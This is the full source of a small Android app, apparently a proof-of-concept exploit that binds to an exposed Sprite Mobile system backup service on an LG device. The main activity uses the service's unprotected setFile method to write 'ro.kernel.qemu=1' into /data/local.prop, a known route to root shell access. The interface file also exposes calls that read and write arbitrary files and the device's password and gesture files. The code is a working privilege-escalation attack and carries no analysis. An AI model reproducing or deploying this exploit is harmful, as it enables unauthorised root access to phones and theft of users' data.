IS11LG_SystemBackupTest source code

=========================================================
src/com.example.systembackuptest/MainActivity.java
=========================================================

package com.example.systembackuptest;

import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;

import com.spritemobile.system.backup.ISystemService;

import android.os.Bundle;
import android.os.IBinder;
import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.ServiceConnection;
import android.view.Menu;

public class MainActivity extends Activity {
    ISystemService svc;
    ServiceConnection connection = new ServiceConnection() {

        @Override
        public void onServiceDisconnected(ComponentName name) {
        }

        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            svc = ISystemService.Stub.asInterface(service);
            try {
                ParcelFileDescriptor pfd = svc.setFile("/data/local.prop");
                FileDescriptor fd = pfd.getFileDescriptor();
                FileOutputStream fos = new FileOutputStream(fd);
                fos.write(new String("ro.kernel.qemu=1").getBytes());
                fos.close();
            } catch (RemoteException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    };

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setAction("com.spritemobile.system.backup.ISystemService");
        bindService(intent, connection, BIND_AUTO_CREATE);
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        getMenuInflater().inflate(R.menu.activity_main, menu);
        return true;
    }


}

=========================================================
src/com.spritemobile.system.backup/ISystemService.aidl
=========================================================
package com.spritemobile.system.backup;

import android.os.ParcelFileDescriptor;

interface ISystemService
{
  ParcelFileDescriptor getDefaultGestureFile();
  ParcelFileDescriptor setDefaultGestureFile();
  ParcelFileDescriptor getDefaultPasswordFile();
  ParcelFileDescriptor setDefaultPasswordFile();
  ParcelFileDescriptor getDefaultAppWidgetFile();
  ParcelFileDescriptor setDefaultAppWidgetFile();
  ParcelFileDescriptor getDefaultWallPaperFile();
  ParcelFileDescriptor setDefaultWallPaperFile();
  ParcelFileDescriptor getFile(String paramString);
  ParcelFileDescriptor setFile(String paramString);
}